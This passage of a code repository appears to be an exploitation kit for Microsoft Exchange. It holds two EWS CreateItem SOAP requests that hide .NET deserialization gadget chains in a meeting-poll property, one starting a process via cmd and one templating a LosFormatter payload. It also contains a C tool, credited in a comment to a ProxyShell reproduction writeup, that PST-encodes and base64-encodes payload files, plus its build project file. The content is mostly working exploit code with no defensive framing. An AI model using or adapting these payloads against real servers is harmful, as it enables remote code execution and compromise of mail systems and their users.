  9 |       <t:TimeZoneDefinition Name="(UTC-08:00) Pacific Time (US &amp;amp; Canada)" Id="Pacific Standard Time">
 10 |         <t:Periods>
 11 |           <t:Period Bias="P0DT8H0M0.0S" Name="Standard" Id="Std" />
 12 |           <t:Period Bias="P0DT7H0M0.0S" Name="Daylight" Id="Dlt/1" />
 13 |           <t:Period Bias="P0DT7H0M0.0S" Name="Daylight" Id="Dlt/2007" />
 14 |         </t:Periods>
 15 |         <t:TransitionsGroups>
 16 |           <t:TransitionsGroup Id="0">
 17 |             <t:RecurringDayTransition>
 18 |               <t:To Kind="Period">Dlt/1</t:To>
 19 |               <t:TimeOffset>P0DT2H0M0.0S</t:TimeOffset>
 20 |               <t:Month>4</t:Month>
 21 |               <t:DayOfWeek>Sunday</t:DayOfWeek>
 22 |               <t:Occurrence>1</t:Occurrence>
 23 |             </t:RecurringDayTransition>
 24 |             <t:RecurringDayTransition>
 25 |               <t:To Kind="Period">Std</t:To>
 26 |               <t:TimeOffset>P0DT2H0M0.0S</t:TimeOffset>
 27 |               <t:Month>10</t:Month>
 28 |               <t:DayOfWeek>Sunday</t:DayOfWeek>
 29 |               <t:Occurrence>-1</t:Occurrence>
 30 |             </t:RecurringDayTransition>
 31 |           </t:TransitionsGroup>
 32 |           <t:TransitionsGroup Id="1">
 33 |             <t:RecurringDayTransition>
 34 |               <t:To Kind="Period">Dlt/2007</t:To>
 35 |               <t:TimeOffset>P0DT2H0M0.0S</t:TimeOffset>
 36 |               <t:Month>3</t:Month>
 37 |               <t:DayOfWeek>Sunday</t:DayOfWeek>
 38 |               <t:Occurrence>2</t:Occurrence>
 39 |             </t:RecurringDayTransition>
 40 |             <t:RecurringDayTransition>
 41 |               <t:To Kind="Period">Std</t:To>
 42 |               <t:TimeOffset>P0DT2H0M0.0S</t:TimeOffset>
 43 |               <t:Month>11</t:Month>
 44 |               <t:DayOfWeek>Sunday</t:DayOfWeek>
 45 |               <t:Occurrence>1</t:Occurrence>
 46 |             </t:RecurringDayTransition>
 47 |           </t:TransitionsGroup>
 48 |         </t:TransitionsGroups>
 49 |         <t:Transitions>
 50 |           <t:Transition>
 51 |             <t:To Kind="Group">0</t:To>
 52 |           </t:Transition>
 53 |           <t:AbsoluteDateTransition>
 54 |             <t:To Kind="Group">1</t:To>
 55 |             <t:DateTime>2007-01-01T08:00:00.000Z</t:DateTime>
 56 |           </t:AbsoluteDateTransition>
 57 |         </t:Transitions>
 58 |       </t:TimeZoneDefinition>
 59 |     </t:TimeZoneContext>
 60 |   </soap:Header>
 61 |   <soap:Body>
 62 |     <m:CreateItem SendMeetingInvitations="SendToAllAndSaveCopy">
 63 |       <m:Items>
 64 |         <t:CalendarItem>
 65 |           <t:Subject>Weekly Meeting Update</t:Subject>
 66 | 			<t:ExtendedProperty>
 67 | 			<t:ExtendedFieldURI PropertySetId="11000e07-b51b-40d6-af21-caa85edab1d0"
 68 | 			              PropertyName="MeetingPollProposeOptionsRequestsBlob" PropertyType="String" />
 69 | 			            <t:Value>&lt;ArrayOfKeyValueOfstringProposeOptionsMeetingPollParametersE_S0982HC z:Id=&quot;1&quot; z:Size=&quot;1&quot; xmlns=&quot;http://schemas.microsoft.com/2003/10/Serialization/Arrays&quot; xmlns:i=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:z=&quot;http://schemas.microsoft.com/2003/10/Serialization/&quot;&gt;
 70 | 	&lt;KeyValueOfstringProposeOptionsMeetingPollParametersE_S0982HC&gt;
 71 | 		&lt;Key z:Id=&quot;2&quot;&gt;meeting&lt;/Key&gt;
 72 | 		&lt;Value z:Id=&quot;3&quot;&gt;
 73 | 			&lt;ChangedProperties xmlns=&quot;http://schemas.datacontract.org/2004/07/Microsoft.Exchange.Entities.DataModel&quot; xmlns:b=&quot;http://schemas.datacontract.org/2004/07/Microsoft.Exchange.Entities.DataModel.PropertyBags&quot;&gt;
 74 | 				&lt;b:propertyValues z:Size=&quot;1&quot; xmlns:c=&quot;http://schemas.microsoft.com/2003/10/Serialization/Arrays&quot;&gt;
 75 | 					&lt;c:KeyValueOfstringanyType&gt;
 76 | 						&lt;c:Key&gt;test&lt;/c:Key&gt;
 77 |                         &lt;c:Value i:type=&quot;a:Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties&quot; xmlns:a=&quot;Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35&quot; xmlns:x=&quot;mscorlib&quot;&gt;
 78 | 						&lt;ForegroundBrush i:type=&quot;x:System.String&quot; xmlns=&quot;&quot;&gt;&lt;![CDATA[&lt;ObjectDataProvider MethodName=&quot;Start&quot; xmlns=&quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&quot; xmlns:a=&quot;clr-namespace:System.Diagnostics;assembly=System&quot;&gt;&lt;ObjectDataProvider.ObjectInstance&gt;&lt;a:Process&gt;&lt;a:Process.StartInfo&gt;&lt;a:ProcessStartInfo Arguments=&quot;/c mspaint&quot; FileName=&quot;cmd&quot;/&gt;&lt;/a:Process.StartInfo&gt;&lt;/a:Process&gt;&lt;/ObjectDataProvider.ObjectInstance&gt;&lt;/ObjectDataProvider&gt;]]&gt;&lt;/ForegroundBrush&gt;
 79 |                         &lt;/c:Value&gt;
 80 | 					&lt;/c:KeyValueOfstringanyType&gt;
 81 | 				&lt;/b:propertyValues&gt;
 82 | 			&lt;/ChangedProperties&gt;
 83 | 			&lt;OriginalTypeAssembly z:Id=&quot;12&quot; i:nil=&quot;true&quot; xmlns=&quot;http://schemas.datacontract.org/2004/07/Microsoft.Exchange.Entities.DataModel&quot;&gt;Microsoft.Exchange.Entities.DataModel&lt;/OriginalTypeAssembly&gt;
 84 | 			&lt;OriginalTypeName z:Id=&quot;14&quot; xmlns=&quot;http://schemas.datacontract.org/2004/07/Microsoft.Exchange.Entities.DataModel&quot;&gt;Microsoft.Exchange.Entities.DataModel.Calendaring.CustomActions.ProposeOptionsMeetingPollParameters&lt;/OriginalTypeName&gt;
 85 | 		&lt;/Value&gt;
 86 | 	&lt;/KeyValueOfstringProposeOptionsMeetingPollParametersE_S0982HC&gt;
 87 | &lt;/ArrayOfKeyValueOfstringProposeOptionsMeetingPollParametersE_S0982HC&gt;</t:Value>
 88 | 			</t:ExtendedProperty>
 89 |           <t:Body BodyType="HTML">TBC</t:Body>
 90 |           <t:ReminderMinutesBeforeStart>30</t:ReminderMinutesBeforeStart>
 91 |           <t:Start>2021-05-10T06:45:32.868-08:00</t:Start>
 92 |           <t:End>2021-05-10T06:55:32.868-08:00</t:End>
 93 |           <t:Location>Program TBC</t:Location>
 94 |           <t:RequiredAttendees>
 95 |             <t:Attendee>
 96 |               <t:Mailbox>
 97 |                 <t:EmailAddress>foobar@foo.local</t:EmailAddress>
 98 |               </t:Mailbox>
 99 |             </t:Attendee>
100 |           </t:RequiredAttendees>
101 |           <t:Recurrence>
102 |             <t:DailyRecurrence>
103 |               <t:Interval>1</t:Interval>
104 |             </t:DailyRecurrence>
105 |             <t:NumberedRecurrence>
106 |               <t:StartDate>2021-05-10T06:45:32.868-08:00</t:StartDate>
107 |               <t:NumberOfOccurrences>2</t:NumberOfOccurrences>
108 |             </t:NumberedRecurrence>
109 |           </t:Recurrence>
110 |         </t:CalendarItem>
111 |       </m:Items>
112 |     </m:CreateItem>
113 |   </soap:Body>
114 | </soap:Envelope>


--------------------------------------------------------------------------------
/NSAPayload2.xml:
--------------------------------------------------------------------------------
  1 | <?xml version="1.0" encoding="utf-8"?>
  2 | <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
  3 |                xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
  4 |                xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
  5 |                xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
  6 |   <soap:Header>
  7 |     <t:RequestServerVersion Version="Exchange2016" />
  8 |     <t:TimeZoneContext>
  9 |       <t:TimeZoneDefinition Name="(UTC-08:00) Pacific Time (US &amp;amp; Canada)" Id="Pacific Standard Time">
 10 |         <t:Periods>
 11 |           <t:Period Bias="P0DT8H0M0.0S" Name="Standard" Id="Std" />
 12 |           <t:Period Bias="P0DT7H0M0.0S" Name="Daylight" Id="Dlt/1" />
 13 |           <t:Period Bias="P0DT7H0M0.0S" Name="Daylight" Id="Dlt/2007" />
 14 |         </t:Periods>
 15 |         <t:TransitionsGroups>
 16 |           <t:TransitionsGroup Id="0">
 17 |             <t:RecurringDayTransition>
 18 |               <t:To Kind="Period">Dlt/1</t:To>
 19 |               <t:TimeOffset>P0DT2H0M0.0S</t:TimeOffset>
 20 |               <t:Month>4</t:Month>
 21 |               <t:DayOfWeek>Sunday</t:DayOfWeek>
 22 |               <t:Occurrence>1</t:Occurrence>
 23 |             </t:RecurringDayTransition>
 24 |             <t:RecurringDayTransition>
 25 |               <t:To Kind="Period">Std</t:To>
 26 |               <t:TimeOffset>P0DT2H0M0.0S</t:TimeOffset>
 27 |               <t:Month>10</t:Month>
 28 |               <t:DayOfWeek>Sunday</t:DayOfWeek>
 29 |               <t:Occurrence>-1</t:Occurrence>
 30 |             </t:RecurringDayTransition>
 31 |           </t:TransitionsGroup>
 32 |           <t:TransitionsGroup Id="1">
 33 |             <t:RecurringDayTransition>
 34 |               <t:To Kind="Period">Dlt/2007</t:To>
 35 |               <t:TimeOffset>P0DT2H0M0.0S</t:TimeOffset>
 36 |               <t:Month>3</t:Month>
 37 |               <t:DayOfWeek>Sunday</t:DayOfWeek>
 38 |               <t:Occurrence>2</t:Occurrence>
 39 |             </t:RecurringDayTransition>
 40 |             <t:RecurringDayTransition>
 41 |               <t:To Kind="Period">Std</t:To>
 42 |               <t:TimeOffset>P0DT2H0M0.0S</t:TimeOffset>
 43 |               <t:Month>11</t:Month>
 44 |               <t:DayOfWeek>Sunday</t:DayOfWeek>
 45 |               <t:Occurrence>1</t:Occurrence>
 46 |             </t:RecurringDayTransition>
 47 |           </t:TransitionsGroup>
 48 |         </t:TransitionsGroups>
 49 |         <t:Transitions>
 50 |           <t:Transition>
 51 |             <t:To Kind="Group">0</t:To>
 52 |           </t:Transition>
 53 |           <t:AbsoluteDateTransition>
 54 |             <t:To Kind="Group">1</t:To>
 55 |             <t:DateTime>2007-01-01T08:00:00.000Z</t:DateTime>
 56 |           </t:AbsoluteDateTransition>
 57 |         </t:Transitions>
 58 |       </t:TimeZoneDefinition>
 59 |     </t:TimeZoneContext>
 60 |   </soap:Header>
 61 |   <soap:Body>
 62 |     <m:CreateItem SendMeetingInvitations="SendToAllAndSaveCopy">
 63 |       <m:Items>
 64 |         <t:CalendarItem>
 65 |           <t:Subject>Weekly Meeting Update</t:Subject>
 66 | 			<t:ExtendedProperty>
 67 | 			<t:ExtendedFieldURI PropertySetId="11000e07-b51b-40d6-af21-caa85edab1d0"
 68 | 			              PropertyName="MeetingPollProposeOptionsRequestsBlob" PropertyType="String" />
 69 | 			            <t:Value>&lt;ArrayOfKeyValueOfstringProposeOptionsMeetingPollParametersE_S0982HC z:Id=&quot;1&quot; z:Size=&quot;1&quot; xmlns=&quot;http://schemas.microsoft.com/2003/10/Serialization/Arrays&quot; xmlns:i=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:z=&quot;http://schemas.microsoft.com/2003/10/Serialization/&quot;&gt;
 70 | 	&lt;KeyValueOfstringProposeOptionsMeetingPollParametersE_S0982HC&gt;
 71 | 		&lt;Key z:Id=&quot;2&quot;&gt;meeting&lt;/Key&gt;
 72 | 		&lt;Value z:Id=&quot;3&quot;&gt;
 73 | 			&lt;ChangedProperties xmlns=&quot;http://schemas.datacontract.org/2004/07/Microsoft.Exchange.Entities.DataModel&quot; xmlns:b=&quot;http://schemas.datacontract.org/2004/07/Microsoft.Exchange.Entities.DataModel.PropertyBags&quot;&gt;
 74 | 				&lt;b:propertyValues z:Size=&quot;1&quot; xmlns:c=&quot;http://schemas.microsoft.com/2003/10/Serialization/Arrays&quot;&gt;
 75 | 					&lt;c:KeyValueOfstringanyType&gt;
 76 | 						&lt;c:Key&gt;test&lt;/c:Key&gt;
 77 |                         &lt;c:Value i:type=&quot;a:Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties&quot; xmlns:a=&quot;Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35&quot; xmlns:x=&quot;mscorlib&quot;&gt;
 78 | 						&lt;ForegroundBrush i:type=&quot;x:System.String&quot; xmlns=&quot;&quot;&gt;&lt;![CDATA[&lt;ObjectDataProvider MethodName=&quot;Deserialize&quot; xmlns=&quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&quot; xmlns:a=&quot;clr-namespace:System.Web.UI;assembly=System.Web&quot; ObjectInstance=&quot;{a:LosFormatter}&quot; xmlns:s=&quot;clr-namespace:System;assembly=mscorlib&quot;&gt;&lt;ObjectDataProvider.MethodParameters&gt;&lt;s:String&gt;
 79 | 						%LosFormatterPayload%
 80 | &lt;/s:String&gt;&lt;/ObjectDataProvider.MethodParameters&gt;&lt;/ObjectDataProvider&gt;
 81 | ]]&gt;&lt;/ForegroundBrush&gt;
 82 |                         &lt;/c:Value&gt;
 83 | 					&lt;/c:KeyValueOfstringanyType&gt;
 84 | 				&lt;/b:propertyValues&gt;
 85 | 			&lt;/ChangedProperties&gt;
 86 | 			&lt;OriginalTypeAssembly z:Id=&quot;12&quot; i:nil=&quot;true&quot; xmlns=&quot;http://schemas.datacontract.org/2004/07/Microsoft.Exchange.Entities.DataModel&quot;&gt;Microsoft.Exchange.Entities.DataModel&lt;/OriginalTypeAssembly&gt;
 87 | 			&lt;OriginalTypeName z:Id=&quot;14&quot; xmlns=&quot;http://schemas.datacontract.org/2004/07/Microsoft.Exchange.Entities.DataModel&quot;&gt;Microsoft.Exchange.Entities.DataModel.Calendaring.CustomActions.ProposeOptionsMeetingPollParameters&lt;/OriginalTypeName&gt;
 88 | 		&lt;/Value&gt;
 89 | 	&lt;/KeyValueOfstringProposeOptionsMeetingPollParametersE_S0982HC&gt;
 90 | &lt;/ArrayOfKeyValueOfstringProposeOptionsMeetingPollParametersE_S0982HC&gt;</t:Value>
 91 | 			</t:ExtendedProperty>
 92 |           <t:Body BodyType="HTML">TBC</t:Body>
 93 |           <t:ReminderMinutesBeforeStart>30</t:ReminderMinutesBeforeStart>
 94 |           <t:Start>2021-05-10T06:45:32.868-08:00</t:Start>
 95 |           <t:End>2021-05-10T06:55:32.868-08:00</t:End>
 96 |           <t:Location>Program TBC</t:Location>
 97 |           <t:RequiredAttendees>
 98 |             <t:Attendee>
 99 |               <t:Mailbox>
100 |                 <t:EmailAddress>foobar@foo.local</t:EmailAddress>
101 |               </t:Mailbox>
102 |             </t:Attendee>
103 |           </t:RequiredAttendees>
104 |           <t:Recurrence>
105 |             <t:DailyRecurrence>
106 |               <t:Interval>1</t:Interval>
107 |             </t:DailyRecurrence>
108 |             <t:NumberedRecurrence>
109 |               <t:StartDate>2021-05-10T06:45:32.868-08:00</t:StartDate>
110 |               <t:NumberOfOccurrences>2</t:NumberOfOccurrences>
111 |             </t:NumberedRecurrence>
112 |           </t:Recurrence>
113 |         </t:CalendarItem>
114 |       </m:Items>
115 |     </m:CreateItem>
116 |   </soap:Body>
117 | </soap:Envelope>


--------------------------------------------------------------------------------
/PSTEncoder/PSTEncoder.c:
--------------------------------------------------------------------------------
  1 | #include <stdio.h> 
  2 | #include <windows.h>
  3 | #include <string.h>
  4 | #include <stdlib.h>
  5 | #include <stdbool.h>
  6 | 
  7 | byte mpbbCrypt[] =
  8 | {
  9 |       65,  54,  19,  98, 168,  33, 110, 187,
 10 |      244,  22, 204,   4, 127, 100, 232,  93,
 11 |       30, 242, 203,  42, 116, 197,  94,  53,
 12 |      210, 149,  71, 158, 150,  45, 154, 136,
 13 |       76, 125, 132,  63, 219, 172,  49, 182,
 14 |       72,  95, 246, 196, 216,  57, 139, 231,
 15 |       35,  59,  56, 142, 200, 193, 223,  37,
 16 |      177,  32, 165,  70,  96,  78, 156, 251,
 17 |      170, 211,  86,  81,  69, 124,  85,   0,
 18 |        7, 201,  43, 157, 133, 155,   9, 160,
 19 |      143, 173, 179,  15,  99, 171, 137,  75,
 20 |      215, 167,  21,  90, 113, 102,  66, 191,
 21 |       38,  74, 107, 152, 250, 234, 119,  83,
 22 |      178, 112,   5,  44, 253,  89,  58, 134,
 23 |      126, 206,   6, 235, 130, 120,  87, 199,
 24 |      141,  67, 175, 180,  28, 212,  91, 205,
 25 |      226, 233,  39,  79, 195,   8, 114, 128,
 26 |      207, 176, 239, 245,  40, 109, 190,  48,
 27 |       77,  52, 146, 213,  14,  60,  34,  50,
 28 |      229, 228, 249, 159, 194, 209,  10, 129,
 29 |       18, 225, 238, 145, 131, 118, 227, 151,
 30 |      230,  97, 138,  23, 121, 164, 183, 220,
 31 |      144, 122,  92, 140,   2, 166, 202, 105,
 32 |      222,  80,  26,  17, 147, 185,  82, 135,
 33 |       88, 252, 237,  29,  55,  73,  27, 106,
 34 |      224,  41,  51, 153, 189, 108, 217, 148,
 35 |      243,  64,  84, 111, 240, 198, 115, 184,
 36 |      214,  62, 101,  24,  68,  31, 221, 103,
 37 |       16, 241,  12,  25, 236, 174,   3, 161,
 38 |       20, 123, 169,  11, 255, 248, 163, 192,
 39 |      162,   1, 247,  46, 188,  36, 104, 117,
 40 |       13, 254, 186,  47, 181, 208, 218,  61,
 41 |       20,  83,  15,  86, 179, 200, 122, 156,
 42 |      235, 101,  72,  23,  22,  21, 159,   2,
 43 |      204,  84, 124, 131,   0,  13,  12,  11,
 44 |      162,  98, 168, 118, 219, 217, 237, 199,
 45 |      197, 164, 220, 172, 133, 116, 214, 208,
 46 |      167, 155, 174, 154, 150, 113, 102, 195,
 47 |       99, 153, 184, 221, 115, 146, 142, 132,
 48 |      125, 165,  94, 209,  93, 147, 177,  87,
 49 |       81,  80, 128, 137,  82, 148,  79,  78,
 50 |       10, 107, 188, 141, 127, 110,  71,  70,
 51 |       65,  64,  68,   1,  17, 203,   3,  63,
 52 |      247, 244, 225, 169, 143,  60,  58, 249,
 53 |      251, 240,  25,  48, 130,   9,  46, 201,
 54 |      157, 160, 134,  73, 238, 111,  77, 109,
 55 |      196,  45, 129,  52,  37, 135,  27, 136,
 56 |      170, 252,   6, 161,  18,  56, 253,  76,
 57 |       66, 114, 100,  19,  55,  36, 106, 117,
 58 |      119,  67, 255, 230, 180,  75,  54,  92,
 59 |      228, 216,  53,  61,  69, 185,  44, 236,
 60 |      183,  49,  43,  41,   7, 104, 163,  14,
 61 |      105, 123,  24, 158,  33,  57, 190,  40,
 62 |       26,  91, 120, 245,  35, 202,  42, 176,
 63 |      175,  62, 254,   4, 140, 231, 229, 152,
 64 |       50, 149, 211, 246,  74, 232, 166, 234,
 65 |      233, 243, 213,  47, 112,  32, 242,  31,
 66 |        5, 103, 173,  85,  16, 206, 205, 227,
 67 |       39,  59, 218, 186, 215, 194,  38, 212,
 68 |      145,  29, 210,  28,  34,  51, 248, 250,
 69 |      241,  90, 239, 207, 144, 182, 139, 181,
 70 |      189, 192, 191,   8, 151,  30, 108, 226,
 71 |       97, 224, 198, 193,  89, 171, 187,  88,
 72 |      222,  95, 223,  96, 121, 126, 178, 138,
 73 |       71, 241, 180, 230,  11, 106, 114,  72,
 74 |      133,  78, 158, 235, 226, 248, 148,  83,
 75 |      224, 187, 160,   2, 232,  90,   9, 171,
 76 |      219, 227, 186, 198, 124, 195,  16, 221,
 77 |       57,   5, 150,  48, 245,  55,  96, 130,
 78 |      140, 201,  19,  74, 107,  29, 243, 251,
 79 |      143,  38, 151, 202, 145,  23,   1, 196,
 80 |       50,  45, 110,  49, 149, 255, 217,  35,
 81 |      209,   0,  94, 121, 220,  68,  59,  26,
 82 |       40, 197,  97,  87,  32, 144,  61, 131,
 83 |      185,  67, 190, 103, 210,  70,  66, 118,
 84 |      192, 109,  91, 126, 178,  15,  22,  41,
 85 |       60, 169,   3,  84,  13, 218,  93, 223,
 86 |      246, 183, 199,  98, 205, 141,   6, 211,
 87 |      105,  92, 134, 214,  20, 247, 165, 102,
 88 |      117, 172, 177, 233,  69,  33, 112,  12,
 89 |      135, 159, 116, 164,  34,  76, 111, 191,
 90 |       31,  86, 170,  46, 179, 120,  51,  80,
 91 |      176, 163, 146, 188, 207,  25,  28, 167,
 92 |       99, 203,  30,  77,  62,  75,  27, 155,
 93 |       79, 231, 240, 238, 173,  58, 181,  89,
 94 |        4, 234,  64,  85,  37,  81, 229, 122,
 95 |      137,  56, 104,  82, 123, 252,  39, 174,
 96 |      215, 189, 250,   7, 244, 204, 142,  95,
 97 |      239,  53, 156, 132,  43,  21, 213, 119,
 98 |       52,  73, 182,  18,  10, 127, 113, 136,
 99 |      253, 157,  24,  65, 125, 147, 216,  88,
100 |       44, 206, 254,  36, 175, 222, 184,  54,
101 |      200, 161, 128, 166, 153, 152, 168,  47,
102 |       14, 129, 101, 115, 228, 194, 162, 138,
103 |      212, 225,  17, 208,   8, 139,  42, 242,
104 |      237, 154, 100,  63, 193, 108, 249, 236
105 |  };
106 |  
107 |  #define mpbbR   (mpbbCrypt)
108 |  #define mpbbS   (mpbbCrypt + 256)
109 |  #define mpbbI   (mpbbCrypt + 512)
110 |  
111 |  void CryptPermute(PVOID pv, int cb, BOOL fEncrypt)
112 |  {
113 |     // cb -> buffer size
114 |     // pv -> buffer
115 |     byte *          pb      = (byte *)pv;
116 |     byte *          pbTable   = fEncrypt ? mpbbR : mpbbI;
117 |     const DWORD *   pdw    = (const DWORD *) pv;
118 |     DWORD         dwCurr;
119 |     byte         b;
120 |  
121 |     if (cb >= sizeof(DWORD))
122 |     {
123 |        while (0 != (((DWORD_PTR) pb) % sizeof(DWORD)))
124 |        {
125 |           *pb = pbTable[*pb];
126 |           pb++;
127 |           cb--;
128 |        }
129 |  
130 |        pdw = (const DWORD *) pb;
131 |        for (; cb >= 4; cb -= 4)
132 |        {
133 |           dwCurr = *pdw;
134 |  
135 |           b = (byte) (dwCurr & 0xFF);
136 |           *pb = pbTable[b];
137 |           pb++;
138 |  
139 |           dwCurr = dwCurr >> 8;      
140 |           b = (byte) (dwCurr & 0xFF);
141 |           *pb = pbTable[b];
142 |           pb++;
143 |  
144 |           dwCurr = dwCurr >> 8;      
145 |           b = (byte) (dwCurr  & 0xFF);
146 |           *pb = pbTable[b];
147 |           pb++;
148 |  
149 |           dwCurr = dwCurr >> 8;      
150 |           b = (byte) (dwCurr  & 0xFF);
151 |           *pb = pbTable[b];
152 |           pb++;
153 |  
154 |           pdw++;
155 |        }
156 |  
157 |        pb = (byte *) pdw;
158 |     }
159 |  
160 |     for (; --cb >= 0; ++pb)
161 |        *pb = pbTable[*pb];
162 | }
163 |  
164 |  //from https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/
165 |  // and https://stackoverflow.com/questions/3747086/reading-the-whole-text-file-into-a-char-array-in-c
166 | void main(int argc, char *argv[]){
167 |     //*
168 | 	FILE *fp;
169 | 	long lSize;
170 | 	char *buffer;
171 | 
172 |     errno_t err = fopen_s(&fp, argv[1], "rb");
173 | 
174 | 	if( !fp ) perror(argv[1]),exit(1);
175 | 
176 | 	fseek( fp , 0L , SEEK_END);
177 | 	lSize = ftell( fp );
178 | 	rewind( fp );
179 | 
180 | 	// allocate memory for entire content
181 | 	buffer = calloc( 1, lSize+1 );
182 | 	if( !buffer ) fclose(fp),fputs("memory alloc fails",stderr),exit(1);
183 | 
184 | 	// copy the file into the buffer 
185 | 	if( 1!=fread( buffer , lSize, 1 , fp) )
186 | 	  fclose(fp),free(buffer),fputs("entire read fails",stderr),exit(1);
187 | 	
188 |     //size_t size = strlen(buffer) + 1; //  If you don't know the source size.
189 |     //char* c = malloc(size);
190 |     //strcpy(c, field);
191 |     int length = strlen(buffer);
192 |     //printf("Input Length: %d\r\n\r\n", length);
193 | 
194 |     CryptPermute(buffer, length, false);
195 |     printf("Cipher:\r\n%s\r\n\r\n", buffer);
196 |     char* encoded = calloc(1, length * 4 / 3 + 1);
197 |     Base64encode(encoded, buffer, length);
198 |     printf("Cipher - Base64 encoded:\r\n%s\r\n\r\n",encoded);
199 | 
200 |     CryptPermute(buffer, length, true);
201 |     printf("Decipher:\r\n%s\r\n\r\n", buffer);
202 | 
203 | 
204 |     fclose(fp);
205 |     free(buffer);
206 | 	//*/
207 |     /*
208 |     char payload[6] = "BBBBB";
209 |     int length = strlen(payload);
210 |     //printf(payload);
211 |     CryptPermute(payload, length, false);
212 |     printf(payload);
213 | 	*/
214 | 	
215 |     
216 |  
217 | }


--------------------------------------------------------------------------------
/PSTEncoder/PSTEncoder.vcxproj:
--------------------------------------------------------------------------------
  1 | <?xml version="1.0" encoding="utf-8"?>
  2 | <Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  3 |   <ItemGroup Label="ProjectConfigurations">
  4 |     <ProjectConfiguration Include="Debug|Win32">
  5 |       <Configuration>Debug</Configuration>
  6 |       <Platform>Win32</Platform>
  7 |     </ProjectConfiguration>
  8 |     <ProjectConfiguration Include="Release|Win32">
  9 |       <Configuration>Release</Configuration>
 10 |       <Platform>Win32</Platform>
 11 |     </ProjectConfiguration>
 12 |     <ProjectConfiguration Include="Debug|x64">
 13 |       <Configuration>Debug</Configuration>
 14 |       <Platform>x64</Platform>
 15 |     </ProjectConfiguration>
 16 |     <ProjectConfiguration Include="Release|x64">
 17 |       <Configuration>Release</Configuration>
 18 |       <Platform>x64</Platform>
 19 |     </ProjectConfiguration>
 20 |   </ItemGroup>
 21 |   <PropertyGroup Label="Globals">
 22 |     <VCProjectVersion>16.0</VCProjectVersion>
 23 |     <Keyword>Win32Proj</Keyword>
 24 |     <ProjectGuid>{d7c76f70-1edb-4780-a692-3e7ab0e7fb38}</ProjectGuid>
 25 |     <RootNamespace>PSTEncoder</RootNamespace>
 26 |     <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
 27 |   </PropertyGroup>
 28 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
 29 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
 30 |     <ConfigurationType>Application</ConfigurationType>
 31 |     <UseDebugLibraries>true</UseDebugLibraries>
 32 |     <PlatformToolset>v142</PlatformToolset>
 33 |     <CharacterSet>Unicode</CharacterSet>
 34 |   </PropertyGroup>
 35 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
 36 |     <ConfigurationType>Application</ConfigurationType>
 37 |     <UseDebugLibraries>false</UseDebugLibraries>
 38 |     <PlatformToolset>v142</PlatformToolset>
 39 |     <WholeProgramOptimization>true</WholeProgramOptimization>
 40 |     <CharacterSet>Unicode</CharacterSet>
 41 |   </PropertyGroup>
 42 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
 43 |     <ConfigurationType>Application</ConfigurationType>
 44 |     <UseDebugLibraries>true</UseDebugLibraries>
 45 |     <PlatformToolset>v142</PlatformToolset>
 46 |     <CharacterSet>Unicode</CharacterSet>
 47 |   </PropertyGroup>
 48 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
 49 |     <ConfigurationType>Application</ConfigurationType>
 50 |     <UseDebugLibraries>false</UseDebugLibraries>
 51 |     <PlatformToolset>v142</PlatformToolset>
 52 |     <WholeProgramOptimization>true</WholeProgramOptimization>
 53 |     <CharacterSet>Unicode</CharacterSet>
 54 |   </PropertyGroup>
 55 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
 56 |   <ImportGroup Label="ExtensionSettings">
 57 |   </ImportGroup>
 58 |   <ImportGroup Label="Shared">
 59 |   </ImportGroup>
 60 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
 61 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 62 |   </ImportGroup>
 63 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
 64 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 65 |   </ImportGroup>
 66 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
 67 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 68 |   </ImportGroup>
 69 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
 70 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 71 |   </ImportGroup>
 72 |   <PropertyGroup Label="UserMacros" />
 73 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
 74 |     <LinkIncremental>true</LinkIncremental>
 75 |   </PropertyGroup>
 76 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
 77 |     <LinkIncremental>false</LinkIncremental>
 78 |   </PropertyGroup>
 79 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
 80 |     <LinkIncremental>true</LinkIncremental>
 81 |   </PropertyGroup>
